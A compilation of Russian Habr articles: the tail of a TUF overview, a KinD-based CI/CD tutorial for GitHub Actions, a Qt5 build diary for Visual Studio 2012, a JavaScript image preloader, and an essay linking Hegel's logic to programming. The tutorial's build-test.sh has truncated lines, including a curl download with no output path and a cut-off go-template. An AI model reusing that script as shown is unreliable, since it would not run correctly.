Разделение ответственности можно представить как «дерево иерархического делегирования доверия», где root-роль делегирует доверие остальным ролям. Диаграмма ниже показывает, как это реализовано в [TUF-репозитории PyPI](https://www.python.org/dev/peps/pep-0458/) (The Python Package Index).
Стрелки соответствуют порядку делегирования доверия: root-роль подписывает роли timestamp, snapshot, targets и саму себя; роли targets и bins ответственны за подмножества/подгруппы целостности контента. Красным отмечены ключи с меньшим уровнем доверия (хранятся онлайн), зеленым — с более высоким (хранятся офлайн).
### Формат файлов
TUF-репозиторий использует два типа файлов: целевые файлы (собственно, контент для распространения) и файлы с метаданными. Имена целевых файлов и структура их каталогов, доступных из репозитория, спецификацией не определяются, потому что зависят от конкретного ПО, в котором задействован фреймворк.
Имена и структура файлов с метаданными определены строго, а сам формат — нет: главное, чтобы клиенты TUF (пользователи) могли интерпретировать этот формат верно. В качестве примеров имплементации разработчики TUF используют JSON.
Формат файлов с метаданными:
```
{
"signed" : ROLE,
"signatures" : [
{ "keyid" : KEYID,
"sig" : SIGNATURE }
, ... ]
}
```
* `ROLE` — тип роли;
* `KEYID` — уникальный идентификатор ключа, которым подписана роль; представляет собой шестнадцатеричный дайджест хэша SHA-256 канонической формы ключа;
* `SIGNATURE` — шестнадцатеричная подпись канонической формы метаданных для типа роли.
Эталонная реализация TUF подразумевает использование трех схем шифрования подписи: *rsassa-pss-sha256*, *ed25519* и *ecdsa-sha2-nistp256*. При этом администраторы TUF-системы сами решают, какую схему и и криптографическую библиотеку использовать для своего проекта.
Формат подписанной root-роли:
```
{
"_type" : "root",
"spec_version" : SPEC_VERSION,
"consistent_snapshot": CONSISTENT_SNAPSHOT,
"version" : VERSION,
"expires" : EXPIRES,
"keys" : {
KEYID : KEY,
...
},
"roles" : {
ROLE : {
"keyids" : [
KEYID,
...
] ,
"threshold" : THRESHOLD
},
...
}
}
```
С примерами реальных JSON-файлов для верхнеуровневых ролей можно ознакомиться в [документации](https://theupdateframework.github.io/specification/latest/index.html#rootjson).
Примеры интеграций TUF
----------------------
TUF — Open Source-проект. На [GitHub](https://github.com/theupdateframework) есть его спецификация, а также эталонные реализации на языках Python и Go.
Фреймворк применяется во множестве других проектов, кроме упомянутых выше Notary и PyPI. Например, в [системе обновления Bottlerocket](https://github.com/bottlerocket-os/bottlerocket/tree/develop/sources/updater) — легковесной ОС на базе Linux, которая предназначена для запуска контейнеров. За обновление ОС на пользовательских машинах отвечает приложение-клиент (агент) — Updog. Он взаимодействует с TUF и в фоне загружает обновления Bottlerocket. Если речь идет об обновлении ОС на хостах, работающих в кластере Kubernetes, можно использовать оператор brupop. Оператор координирует корректное обновление всех узлов (nodes) кластера.
Среди других пользователей TUF:
* [Datadog](https://www.datadoghq.com/blog/engineering/secure-publication-of-datadog-agent-integrations-with-tuf-and-in-toto/) — сервис мониторинга ИТ-инфраструктуры (к слову, представитель этой компании значится среди соавторов спецификации TUF);
* [CNAB](https://github.com/cnabio/cnab-spec/blob/cnab-security-1.0.0-ga/300-CNAB-security.md) (Cloud Native Application Bundle) — Open Source-спецификация для управления контейнеризированными приложениями в Docker, Kubernetes и других средах;
* [Foundries.io](https://foundries.io/insights/blog/2018/05/25/ota-part-1/) — платформа для создания IoT-приложений;
* [HERE](https://www.here.com/company/press-releases/en/2019-28-05) — OTA-система (over-the-air) для обновления автомобильного софта.
Мы и сами используем TUF для своего нового универсального менеджера пакетов для непрерывной доставки обновлений пользователям — [trdl](https://github.com/werf/trdl). Он уже используется в утилите werf, а совсем скоро мы представим этот проект официально и расскажем о нем подробнее.
Резюме
------
Широкое и разнообразное применение TUF, в том числе в проектах со сложной инфраструктурой, говорит о том, что фреймворк зарекомендовал себя не только в теории. Признание Open Source-сообщества — в частности, в CNCF — этот факт только подтверждает.
Одно из важных преимуществ TUF в том, что он универсален. Кастомизировать фреймворк можно очень гибко, потому что он не зависит от языка, на котором написан проект, формата файлов, которые нужно распространять, и конкретной реализации хранилища, в котором они хранятся.
### P.S.
Для подготовки статьи использовались документация и другие материалы, доступные на [сайте проекта](https://theupdateframework.io/) и в открытых источниках, а также [видеодоклад](https://youtu.be/7BVVhfCWwDM) контрибьюторов TUF Лукаса Пухрингера (Lukas Puehringer) и Джошуа Лока (Joshua Lock).
### P.P.S.
Читайте также в нашем блоге:
* «[Безопасность для Docker-контейнеров](https://habr.com/ru/company/flant/blog/474012/)»;
* «[OPA и SPIFFE — два новых проекта в CNCF для безопасности облачных приложений](https://habr.com/ru/company/flant/blog/353808/)»;
* «[Harbor — реестр для Docker-контейнеров с безопасностью из коробки](https://habr.com/ru/company/flant/blog/419727/)» *(подписывает Docker-образы с помощью Notary)*;
* «[Что и зачем Docker делает в Moby для интеграции с Kubernetes?](https://habr.com/ru/company/flant/blog/340366/)» *(в этой статье 2017 г. мы впервые упоминали TUF и Notary)*. | https://habr.com/ru/post/578958/ | null | ru | null |
# Ускоряем CI/CD-пайплайн с помощью Kubernetes в Docker (KinD)
> В нашей новой переводной статье разбираемся с KinD на практическом примере.
Создание кластера [Kubernetes](https://kubernetes.io/) со временем становится все проще. На рынке доступно несколько решений под ключ, и сейчас никто не выбирает сложный путь!
Стоит отметить, что [Minikube](https://kubernetes.io/docs/setup/learning-environment/minikube/) был одним из основных кластеров, которые разработчики использовали для быстрой разработки и тестирования контейнеров. Хотя Minikube в настоящее время поддерживает многоузловой кластер на экспериментальной основе, его еще нет в общем доступе (GA).
Следовательно, это ограничивает возможности интеграции и тестирования компонентов, поэтому большинство организаций используют для этого управляемые облачные сервисы Kubernetes.
Для интеграции Kubernetes в конвейер CI/CD (непрерывная интеграция и развертывание) и выполнения тестирования необходимы следующие инструменты: Terraform, в зависимости от облачного провайдера и, конечно же, инструмент для CI/CD, например Jenkins, GitLab или GitHub.
Для крупных компаний с достаточным бюджетом это подходящие варианты, однако разработчики часто ищут что-то, что поможет им быстро начать работу. Развертывание кластера Kubernetes в облаке также занимает некоторое время (~ 10 минут), что может быть препятствием для CI, где нужно быстро получать сборки.
Kubernetes в Docker или [KinD](https://kind.sigs.k8s.io/) — это реализация подхода Docker-in-Docker (DinD) для Kubernetes. Этот инструмент создает контейнеры, которые действуют как узлы Kubernetes, и вам необходимо только установить Docker на своем компьютере.
Он позволяет развернуть многоузловой кластер за пару минут без зависимости от других инструментов или облачных провайдеров. Благодаря этому он полезен не только для локальной разработки, но и для CI/CD.
### Архитектура KinD
Kubernetes в Docker использует подход Docker-in-Docker (DinD) для запуска кластера Kubernetes. Он запускает несколько Docker контейнеров, которые функционируют как узлы Kubernetes. Контейнеры Docker монтируют том **docker.sock** в Docker, запущенный на вашем компьютере, чтобы обеспечить взаимодействие с базовой средой выполнения контейнера.
KinD прошел проверку на соответствие и получил сертификат CNCF. Он использует Kubeadm для начальной загрузки кластера, а также генерирует файлы конфигурации Kube для пользователя, через которого вы управляете вашим кластером, что позволяет использовать **kubectl** для взаимодействия с кластерами. Другие компоненты Kubernetes, такие как Helm и Istio, также прекрасно работают в кластерах KinD.
Недостаток KinD заключается в том то, что он не работает со службами **LoadBalancer**, поэтому вам придется использовать **NodePort**, чтобы пробрасывать свои службы извне.
Кроме того, DinD в настоящее время является не самым безопасным решением, поэтому используйте кластеры KinD только на локальных машинах разработки и CI/CD конвейерах. Никогда не используйте KinD в производственной среде!
### Установка KinD
KinD состоит из простой утилиты командной строки, которую вы можете загрузить и положить по своему пути. Затем вы можете взаимодействовать с KinD, используя команды **kind**:
```
sudo curl -sL https://kind.sigs.k8s.io/dl/v0.9.0/kind-linux-amd64 -o /usr/local/bin/kind
sudo chmod +x /usr/local/bin//kind
```
Затем вы можете создать свой кластер, при помощи следующей команды:
```
kind create cluster --wait 10m
```
Эта команда создаст одноузловой кластер. Но если вы хотите определить многоузловой кластер, можно использовать файл конфигурации кластера, подобный приведенному ниже:
```
# three node (two workers) cluster config
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
- role: worker
- role: worker
```
Затем создайте кластер с файлом конфигурации, используя следующую команду:
```
kind create cluster --wait 10m --config kind-config.yaml
```
Вы также можете создать кластеры с несколькими уровнями управления, указав несколько ролей в разделе узлов.
Так как KinD автоматически создает файл конфигурации Kube, вы можете использовать команды **kubectl**, как и в случае с другими кластерами.
Удалить кластер KinD также просто. Запустите следующую команду:
```
kind delete cluster
```
### Приступаем к практике
Без лишних слов, давайте на практике разберемся, как CI/CD конвейер использует KinD. Мы возьмем GitHub Actions в качестве инструмента для CI/CD, поскольку он прост в использовании, не требует дополнительной инфраструктуры, а запустить его может любой, у кого есть ноутбук и подключение к интернету.
Давайте создадим простое приложение [NGINX](https://www.nginx.com/) с надписью «Hello World».
Выполняем следующие действия:
1. Создаем дев-версию приложения.
2. Запускаем тестирование компонентов в кластере KinD.
3. Если тест проходит успешно, мы переводим образ в релиз и отправим его в Docker Hub.
### Необходимые условия
* Аккаунт GitHub
* Аккаунт Docker Hub
### Краткое руководство
1. Сделайте форк этого репозитория[этот](https://github.com/bharatmicrosystems/kind-nginx) репозиторий.
2. Зайдите в репозиторий и создайте два secret: **DOCKER\_USER** и **DOCKER\_PW**. Они должны содержать ваше имя пользователя в Docker Hub и пароль от аккаунта соответственно.
3. Перейдите в GitHub Actions и повторно запустите задачи. Как вариант, вы можете внести изменения в файл **README.md** и запушить его чтобы запустить действие.
### Длинная версия
Давайте рассмотрим файл **build-pipeline.yml** на GitHub Actions чтобы понять, как он работает:
```
name: Docker Image CI
on: [push]
# Environment variables available to all jobs and steps in this workflow
env: # Or as an environment variable
docker_username: ${{ secrets.DOCKER_USER }}
docker_password: ${{ secrets.DOCKER_PW }}
jobs:
build-docker-image:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
with:
fetch-depth: 0
- name: Build the Docker image
run: docker build -t $docker_username/nginx:dev .
- name: Login to Docker
run: echo "$docker_password" | docker login -u "$docker_username" --password-stdin
- name: Push the docker image
run: docker push $docker_username/nginx:dev
kubernetes-component-test:
runs-on: ubuntu-latest
needs: build-docker-image
steps:
- uses: actions/checkout@v2
with:
fetch-depth: 0
- name: Run KIND Test
run: sudo sh build-test.sh $docker_username
promote-and-push-docker-image:
runs-on: ubuntu-latest
needs: kubernetes-component-test
steps:
- uses: actions/checkout@v2
with:
fetch-depth: 0
- name: Pull the Docker image
run: docker pull $docker_username/nginx:dev
- name: Tag the Docker image
run: docker tag $docker_username/nginx:dev $docker_username/nginx:release
- name: Login to Docker
run: echo "$docker_password" | docker login -u "$docker_username" --password-stdin
- name: Push the docker image
run: docker push $docker_username/nginx:release
```
Пайплайн сборки запускает последовательно три задания:
1. Задача **build-docker-image** создает Docker образ для разработки и отправляет его в Docker Hub при успешной сборке. В этой задаче вы можете запустить своё модульное тестирование.
2. Задача **kubernetes-component-test** настраивает кластер KinD и запускает компонентный тест для приложения.
3. Задача **promote-and-push-docker-image** извлекает образ для разработки, маркирует его до релизной версии и отправляет релизную версию в Docker Hub.
Давайте рассмотрим Dockerfile, чтобы понять, что он создает:
```
FROM nginx
RUN echo 'Hello World' > /usr/share/nginx/html/index.html
```
Второй шаг является ключевым, он запускает скрипт **build-test.sh**. Сейчас давайте посмотрим на скрипт:
```
#! /bin/bash
docker_username=$1
set -xe
curl -sL https://kind.sigs.k8s.io/dl/v0.9.0/kind-linux-amd64 -o /usr/local/bin/kind
chmod 755 /usr/local/bin//kind
curl -sL https://storage.googleapis.com/kubernetes-release/release/v1.17.4/bin/linux/amd64/kubectl -o
chmod 755 /usr/local/bin//kubectl
curl -LO https://get.helm.sh/helm-v3.1.2-linux-amd64.tar.gz
tar -xzf helm-v3.1.2-linux-amd64.tar.gz
mv linux-amd64/helm /usr/local/bin/
rm -rf helm-v3.1.2-linux-amd64.tar.gz
kind version
kubectl version --client=true
helm version
kind create cluster --wait 10m --config kind-config.yaml
kubectl get nodes
docker build -t $docker_username/nginx:dev .
kind load docker-image $docker_username/nginx:dev
kubectl apply -f nginx-deployment.yaml
kubectl apply -f nginx-service.yaml
NODE_IP=$(kubectl get node -o wide|tail -1|awk {'print $6'})
NODE_PORT=$(kubectl get svc nginx-service -o go-template='{{range.spec.ports}}{{if .nodePort}}{{.node
sleep 60
SUCCESS=$(curl $NODE_IP:$NODE_PORT)
if [[ "${SUCCESS}" != "Hello World" ]];
then
kind -q delete cluster
exit 1;
else
kind -q delete cluster
echo "Component test succesful"
fi
```
Что делает скрипт:
1. Скачивает и устанавливает утилиту **kind**, **kubectl** и **helm** на CI-сервер.
2. Создает многоузловой кластер с помощью файла **kind-config.yaml**.
3. Создает Docker образ для разработки с помощью **docker build.**
4. Загружает Docker образ в кластер KinD. Благодаря загрузке обеспечивается доступ к образу для всех узлов KinD, чтобы им не приходилось извлекать образ из Docker Hub.
5. Разворачивает контейнер в deployment и пробрасывает его через сервис **NodePort** NodePortservice.
6. Получает IP-адрес и порт узла и запускает тест, чтобы проверить, возвращает ли приложение фразу «Hello World».
7. Если проверка проходит успешно, удаляет кластер KinD, выводит «Component test successful» (успешное выполнение компонентного теста) и возвращает код успеха. Если проверка не пройдена, удаляет кластер KinD и возвращает код ошибки.
### Результаты
Когда мы начинаем работу с пайплайном, GitHub Actions автоматически запускает весь пайплайн:
Это, несомненно улучшение и удобный способ для выполнения непрерывной интеграции и развертывания с использованием Docker и Kubernetes. Kubernetes в Docker не только упрощает локальную разработку, но и является отличным инструментом для CI/CD.
Спасибо, что прочитали статью! Надеюсь, она вам понравилась! | https://habr.com/ru/post/535728/ | null | ru | null |
# Сборка Qt5 в Visual Studio 2012 или я могу пришить глаз кенгуру пока течет мой любимый кетчуп
Не так давно вышел новый Qt, обещающий большое и светлое будущее, и я решил опробовать сие чудо. Но для начала работы с этим чудом мне понадобилось собрать его для моей установленной студии 2012 года из исходных файлов. А сборка оказалась далеко не тривиальной (хотя кривость моих рук никто не отменял – таким студентам, как я, руки необходимо об забор выпрямлять).
Как только вышла в конце прошлого года стабильная версия нового Qt5, я решил было его скачать и попробовать, но, к сожалению, те сборки, которые мне были нужны, а именно: для платформы Windows сборки под MinGW и Visual Studio 2012, — отсутствовали на сайте [qt-project.org](http://qt-project.org/downloads). Поэтому я скачал и установил готовую сборку для моего линукса: Ubuntu 12.04. Правда мной уже тогда были предприняты попытки (правильнее потуги) собрать хотя бы для MinGW библиотеку из sources. Однако все обернулось неудачей, расстройством и глубокой депрессией.
В конце января разработчики порадовали нас версией 5.0.1, исправленной и собранной для работы с MinGW 4.7. Однако для VS2012 они снова не выложили сборку. И тут я решил, стоит попробовать снова, а вдруг получится?
В поисках информации по интернету я наткнулся на несколько статей по сборке, но никак не под VS2012. Самой правдивой, на мой взгляд, оказалась версия на официальной вики страничке проекта, как бы странно это не звучало. Поэтому попробую описать весь этот процесс еще раз здесь, попутно комментируя и добавляя свои, нужные, на мой взгляд, пункты по сборке. Решил рискнуть и собрать как можно более полную библиотеку.
##### Что необходимо:
* Установленная Visual Studio 2012 (не Express Edition). Windows Development Kit 8 с DirectX должен быть уже в комплекте
* Установленный [ActivePerl](http://www.activestate.com/activeperl/downloads)
* Установленный [Python 2.7](http://www.python.org/download/releases/2.7.3/)
* Установленный [Ruby](http://rubyinstaller.org/downloads/)
* Установленный [ICU](http://www.npcglib.org/~stathis/blog/2012/06/17/windows-task-build-the-icu-library-for-32-bit-and-64-bit/). Примечание, сайт не [официальный](http://site.icu-project.org/)
* А также скачать собственно сами [исходные файлы](http://releases.qt-project.org/qt5/5.0.1/single/qt-everywhere-opensource-src-5.0.1.zip)
**Замечание,** по какой-то, неизвестной мне причине, python версии 3.3.0 выдавал ошибку при трансляции файлов, хотя разработчиками заявлена работоспособность нового питона, поэтому пришлось ставить версию 2.7.
Мои действия даже мне до сих пор кажутся сильно шаманскими, поэтому я постараюсь подробно описать свои неумелые шаги, так как пересобрать заново всю эту махину мне не то чтобы не охота – время и нервы жалко. Надеюсь, что кто-то возьмется тоже собрать, и расскажет, что не получилось из моего метода, и совместными знаниями «добьем», так сказать, сие чудо. Рекомендую вначале ознакомиться со всей статьей во избежание мелких недоразумений во время сборки.
##### Итак, начнем.
Моя система – Windows 8 Pro with Media Center x64. Ноутбук марки eMachines E732ZG. Краткие характеристики: Intel Pentium P6200 (двухъядерный) 2.13 GHz на каждом ядре, 6 GB RAM DDR3, 320 GB HDD. Версия Visual Studio 2012 Ultimate Update 1. Kaspersky Internet Security 2013 был выключен на время сборки.
Все дополнительные программы я установил в C:\Development\. ICU был скачан не на официальном сайте, а на другом, но там была выложена сборка для vs2012.
В эту же папку были распакованы исходные файлы Qt5.0.1:
`C:\Development\qt-everywhere-opensource-src-5.0.1`
При установке были выбраны галочки для прописи perl, ruby и python в переменную окружения PATH. Думаю, что вариант их ручной прописи в командной строке, в которой мы будем собирать, тоже сгодится:
```
set PATH=C:\Development\Perl64\bin;C:\Development\Python27;C:\Development\Ruby193\bin;%PATH%
```
Запускаем Command Prompt VS 2012 (я запускал от имени Администратора). Эта штука прописывает все свои либы в пути, поэтому запускаем именно ее. Сам батник находится в
`«C:\Program Files (x86)\Microsoft Visual Studio 11.0\Common7\Tools\VsDevCmd.bat»`.
Затем в ней задаем следующие переменные:
```
set CL=/MP
set INCLUDE=C:\Development\icu-50.1.2-shared-vs2012\include;%INCLUDE%
set LIB=C:\Development\icu-50.1.2-shared-vs2012\lib;%LIB%
set PATH=C:\Development\icu-50.1.2-shared-vs2012\bin;%PATH%
```
Командой `set CL=/MP` мы указываем, скорее всего, утилите `nmake` что у нас несколько ядер: «Поэтому, пожалуйста, распараллеливайте задачи по компиляции».
Далее переходим в саму папку с sources:
```
cd C:\Development\qt-everywhere-opensource-src-5.0.1
```
Следующие действия, я думаю, сделать сразу, так как иначе сборка *qtwebkit* проходит с ошибкой, точнее не проходит:
```
set PATH=%PATH%;%CD%\gnuwin32\bin
cd .\qtwebkit
set WEBKITOUTPUTDIR=%CD%\WebkitBuild
cd ..\
```
**Кстати,** команда `set WEBKITOUTPUTDIR=%CD%\WebkitBuild` под большим вопросом, нужна ли она здесь? Она была взята из мануала по отдельной компиляции *qtwebkit*.
Можете убедиться в правильности всех путей набрав следующее:
```
set INCLUDE && set LIB && set PATH
```
**Кстати еще,** можете сделать батник из этих команд и запускать его посредством той же Command Prompt 2012.
##### Конфигурация
Теперь нужно откофигурировать сборку. Для этого набираем следующее, находясь в директории `C:\Development\qt-everywhere-opensource-src-5.0.1\:`
```
configure -prefix C:\Development\Qt\5.0.1_MSVC2012\qtbase -opensource -platform win32-msvc2012 -debug-and-release -shared -c++11 -nomake examples -nomake tests -icu -confirm-license
```
* Параметром `-prefix C:\Development\Qt\5.0.1_MSVC2012\qtbase` мы задаем место инсталяции нашего Qt.
* `-confirm-license` просто пропускает запрос о согласии с лицензией.
* `-platform win32-msvc2012` указываем ручками платформу. Мне кажется, что она может быть определена автоматически.
* `-debug-and-release` собирает сразу два варианта, как для отладки так и без нее. Еще варианты: `-debug` или `-release`.
* `-c++11`. Странно, но почему-то этот параметр игнорируется, хотя в VS2012 заявлен новый стандарт. Кстати, при попытке собрать для MinGW 4.7 также игнорировался. Интересно, как обстоит дело на Linux для gcc?
* `-nomake examples -nomake tests` не собирают для нас пример и тесты – лишнее место, но если хотите, можете не указывать
* `-shared`. Этот параметр определяет будущее ваших будущих приложений на Qt (не знаю как сказать по-другому). Если он указан (хотя, по-моему, определен по умолчанию) то все собранные приложения будут зависеть от наличия установленных библиотек на машине. То есть с переносом даже на соседский компьютер будет беда. Для сборки независимых приложений следует указывать `-static`. Но будущие приложения существенно вырастут в размере (10 кб против 10 мб в простой программе helloworld с GUI).
Остальные параметры конфигурации можно узнать, набрав:
```
configure -help
```
Здесь либо будут ошибки, которые еще просто исправить (каких-то путей не хватает или библиотек), либо все соберется хорошо. Процесс занимает не более 10 минут.
##### Компиляция и установка
Далее все менее радостно. Просто запускаем команду `nmake` и курим, пьем чай, готовим, спим и т.д. После многочасовой сборки (или многосуточной) можно запускать команду `nmake install`. Она скопирует вашу библиотеку в указанную директорию в параметре `-prefix`.
##### Опыт
У меня все было еще печальнее. Изначально в `PATH` стоял питон версии 3.3, а вот эту штуку я не делал:
`set PATH=%PATH%;%CD%\gnuwin32\bin`
Я не знаю, сколько длилась сборка, час, два или больше, но при попытке собрать *qtwebkit* утилита `nmake` вывалилась из-за отсутствия какого-то `win_flex`. Я психанул, так как это была моя уже третья попытка собрать всю библиотеку с *qtwebkit*, и просто ввел `nmake install`. Библиотека была скопирована, но не до конца. Опять же вывалилась при попытке скопировать не скомпилированный *qtwebkit*.
На мою студию к этому моменту уже было установлено расширение [Visual Studio Add-in 1.2.0 for Qt5](http://releases.qt-project.org/vsaddin/qt-vs-addin-1.2.0-opensource.exe). В настройках я указал путь к установленной на половину библиотеке. Создал первое пробное приложение, но после удачной сборки но отказалось запускаться из-за отсутствия трех *.dll* от *icu*. Пришлось дописывать в `PATH` путь `C:\Development\icu-50.1.2-shared-vs2012\lib` и перезапускать студию, в итоге в студии все запускается без проблем. *QtCreator* после до настройки на эту библиотеку отказался нормально запускать удачно собранные приложения. Они почему-то вылетали с ошибкой. Запустив собранное приложение из директории сборки, оказалось отсутствует *D3DCOMPILER\_46.dll* Не знаю, что с этим делать. Буду рад, если подскажете.
Затем я начал искать способы собрать этот печальный модуль, и наткнулся на такую инструкцию:
```
set PATH=%PATH%;%CD%\gnuwin32\bin
cd .\qtwebkit
set WEBKITOUTPUTDIR=%CD%\WebkitBuild
perl Tools\Scripts\build-webkit --qt --qmake=”%CD%\\..\\qtbase\\bin\\qmake.exe” --install-libs= (install der) --release --makeargs=%MAKEFLAGS%
```
Но `nmake` теперь сругался на **MAKEFLAGS**. Запустил без этого аргумента:
```
perl Tools\Scripts\build-webkit --qt --qmake=”%CD%\\..\\qtbase\\bin\\qmake.exe” --install-libs= (install der) --release
```
Однако теперь `nmake` стал ругаться на отсутствие **MainThreadQt.moc**. Поэтому я ввел `nmake clean` и вышел в общую папку qt. Уже оттуда я запустил `nmake` (теперь в **path** дописан `%CD%\gnuwin32\bin`), и, о чудо, оно работает, ОНО СОБИРАЕТСЯ. Причем с того момента, где вывалился (он проверил, что собранные либы уже существуют и дошел до первой несобранной). Правда через некоторое время он вывалился снова. Теперь меня подвел питон версии 3.3. Где-то в интернете я прочитал, что стоит поставить версию 2.7, что я и сделал. Перезапустил командную строку после установки и замены в переменной PATH пути до питона. Заново прописал все `set` и ввел `nmake`. Он продолжил свою работу.
~~Теперь сижу жду уже битый час окончания всей эпопеи. Последнее действие началось в около 14:00 МСК, где-то в 22:35 он закончил собирать `qtwebkit\webcore` версию debug\_shared и начал «стряпать» release объектники, что займет тоже самое время. Плюсом, там, судя по-всему, была собрана еще не вся библиотека. Надеюсь, что за предстоящую ночь все сделается.~~
На момент написания основной части статьи, `nmake` собирал *qtwebkit* уже часов 8 к ряду. Сейчас прошло уже более суток с момента последнего запуска `nmake`. Спешу обрадовать (воспринимать двояко) – за сутки и 6 часов он собрал *qtwebkit*, еще 2 – 4 часа было потрачено в самом начале на сборку основной библиотеки. Еще 2 — 3 часа ушло на досборку утилит, таких как *QtDesigner*, *Linguist* и *Assistant*. Сборка завершилась удачно, без сбоев. Папка с исходными файлами **выросла с 700 – 800 Мб, до 10 Гб!**
Затем запустил nmake install. Копировал минут сорок. В итоге папка `C:\Development\Qt\5.0.1_MSVC2012\` весит 1.22 Гб. Через *Visual Studio Add-in 1.2.0 for Qt5* к VS2012 все «цепляется» замечательно, только одна проблема, все скомпилированные Qt приложения, даже *QtDesigner* требуют какой-то *D3DCOMPILER\_46.dll*. Его я нашел по адресу `C:\Program Files (x86)\Windows Kits\8.0\Redist\D3D\x86\`. А также еще требовались библиотеки *icudt50.dll*, *icuin50.dll*, *icuuc50.dll*, которые находятся в `C:\Development\icu-50.1.2-shared-vs2012\lib`.
По какой-то непонятной мне причине *designer* и *assistant* из этой сборки не запускаются, даже после ручного добавления к ним *D3DCOMPILER\_46.dll*. Кто-то может что-то по этому поводу что-нибудь дельного сказать?
P.S. Надеюсь, что вам данная статья поможет, и вы потратите меньше времени на выяснение причин неработоспособности. | https://habr.com/ru/post/168671/ | null | ru | null |
# Ajax image прелоадер
На днях на работе поставили задачу, нужно было сделать смену картинок. Задача решается в 5 минут при помощи jQuery. И как всегда есть одно «НО», картинки размером 1000x500 =)
И тут то оказалось что событие onLoad отрабатывает когда становятся извесны размеры изображения, а в случае больших картинок, нужно чтобы скрипт начинал работать только когда картинки подгружены полностью. И тут я подумал почему бы не использовать Ajax )
В общем вот что получилось:
`ajaxImagePreloader = {
collectionImage : undefined,
loadCounter : -1,
http_request : undefined,
callBackFunction : undefined,
http_request : undefined,
createRequestObject : function(){
if (window.XMLHttpRequest) {
try {
return new XMLHttpRequest();
} catch (e){}
} else if (window.ActiveXObject) {
try {
return new ActiveXObject('Msxml2.XMLHTTP');
} catch (e){}
try {
return new ActiveXObject('Microsoft.XMLHTTP');
} catch (e){}
}
return null;
},``makeRequest : function(url){
ajaxImagePreloader.http_request = ajaxImagePreloader.createRequestObject();
if (!ajaxImagePreloader.http_request) {
alert('Не вышло Невозможно создать экземпляр класса XMLHTTP ');
return false;
}
ajaxImagePreloader.http_request.onreadystatechange = ajaxImagePreloader.preloadImage;
ajaxImagePreloader.http_request.open('GET', url, true);
ajaxImagePreloader.http_request.send(null);
},
preloadImage : function(){
if(ajaxImagePreloader.loadCounter == -1){
ajaxImagePreloader.loadCounter++;
if ( ajaxImagePreloader.loadCounter меньше ajaxImagePreloader.collectionImage.length ){
ajaxImagePreloader.makeRequest(ajaxImagePreloader.collectionImage[ajaxImagePreloader.loadCounter]);
}
}else{
if (ajaxImagePreloader.http_request.readyState == 4) {
ajaxImagePreloader.loadCounter++;
if ( ajaxImagePreloader.loadCounter меньше ajaxImagePreloader.collectionImage.length ){
ajaxImagePreloader.makeRequest(ajaxImagePreloader.collectionImage[ajaxImagePreloader.loadCounter]);
}else{
ajaxImagePreloader.callBackFunction();
return true;
}
}
}
return null;
},
init : function(collectionImage, callBackFunction){
if (!collectionImage){
alert('Не правильно задан массив картинок!');
return false;
}else{
ajaxImagePreloader.collectionImage = collectionImage;
}
if (!callBackFunction){
alert('Не верно задана функция обратного вызова!');
return false;
}else{
ajaxImagePreloader.callBackFunction = callBackFunction;
}
ajaxImagePreloader.preloadImage();
}
}`
И все бы хорошо но тут нечто непонятное «изобразила» **Opera старше 9.20** :-/
Если картинка(или любой другой **файл больше ~98Кб**) то вся эта конструкция отработат только ОДИН раз, тоесть вернувшиь на эту страницу вы просто ничего не увидите :(
Пример работы можете посмотреть например [здесь](http://justforyou.itechnology.ru/)
Мне интересно мнение общественности по поводу этого безобразия с Opera > 9.20 ( Кстати в операх младше все работает ) и конечно же мнение о скрипте :)
P.S. Подскажите как в коде поставить знаки «Больше» и «Меньше», а пока написал словами :)
P.P.S. [Скрипт](http://justforyou.itechnology.ru/include/js/ajaxImagePreloader.js) | https://habr.com/ru/post/23360/ | null | ru | null |
# Наука логики в программировании
Данная статья посвящена сравнительному анализу логических сущностей из произведения немецкого философа Георга Вильгельма Фридриха Гегеля "Науки логики" с их аналогами или их отсутствием в программировании.
Сущности из "Науки логики" выделены курсивом чтобы не было путаницы с общепринятыми определениями этих слов.
Чистое бытие
============
Если Вы откроете определение *чистое бытие* в книге, то увидите интересную строчку "без дальнейшего определения". Но для тех кто не читал или не понял не спешите обвинять автора в деменции. *Чистое бытие* — это базовое понятие в логике Гегеля означающие, что какой-то объект есть, прошу не путать с существованием объекта, объект может не существовать в реальности, но если мы его как-то определили в нашей логике он есть. Если Вы задумаетесь, то действительно такой вещи как *чистое бытие* невозможно дать определение, а любая такая попытка сведётся к тому, что Вы будете просто ссылаться на его синонимы или антонимы. *Чистое бытие* на столько абстрактное понятие, что может применяться абсолютно к чему угодно, включая само себя. В некоторых объектно-ориентированных языках есть возможность представлять в виде объекта всё что угодно, в том числе операции над объектами, что в принципе даёт нам такой уровень абстракции. Однако, в программировании прямого аналога *чистого бытия* нет. Чтобы проверить существование объекта, нам нужно проверить его отсутствие.
```
if(obj != null);
```
Странно, что такого синтаксического сахара ещё нет, учитывая что данная проверка является весьма популярной.
Ничто
=====
Как можно было догадаться *ничто* является отсутствием чего бы то ни было. И его аналогом можно назвать NULL. Стоит отметить, что в науке логике *ничто* является *чистым бытием*, потому что оно тоже есть. В этом состоит некоторая загвоздка, к NULL мы не можем обратиться как к объекту ни в одном языке, хотя по сути он тоже им является.
Становление и моменты
=====================
*Становление* — это переход от *ничто* в *бытие* и от *бытия* в *ничто*. Это даёт нам два *момента*, первый называется *возникновением*, а второй *прехождением*. *Прехождение* названо так вместо исчезновения, потому что логическая сущность по сути не может исчезнуть, только если мы её не забыли. *Снятием* как таковым можно назвать процедуру присваивания. В случае, если у нас инициализируется объект происходит *момент возникновения*, а в случае присваивания другого значения или NULL *момент прехождения*.
```
obj = new object(); //возникновение
obj = null; //прехождение
```
Наличное бытие
==============
Если вкратце *наличное бытие* — это объект не имеющий чёткого определения, но имеющий *определённость*. Что это значит. Каноничным примером является обыкновенный стул. Если Вы попытаетесь дать ему чёткое определение, то столкнётесь с множеством сложностей. Например, Вы скажите: "это предмет мебели предназначенный для сидения", но кресло тоже создано для этого и т.д. Но отсутствие чёткого определения не мешает нам выделять его в пространстве и использовать при передачи информации о нём, это потому что в нашей голове есть *определённость* стула. Возможно, некоторые уже догадались, что для выделения таких объектов из потока данных были созданы нейронные сети. Нейронную сеть можно обозначить как функцию определяющую эту *определённость*, но видов объектов которые бы включали в себя чёткие и нечёткие определения не существует, поэтому такими объектами нельзя пользоваться на одном уровне абстракции.
Закон перехода количественных изменений в качественные
======================================================
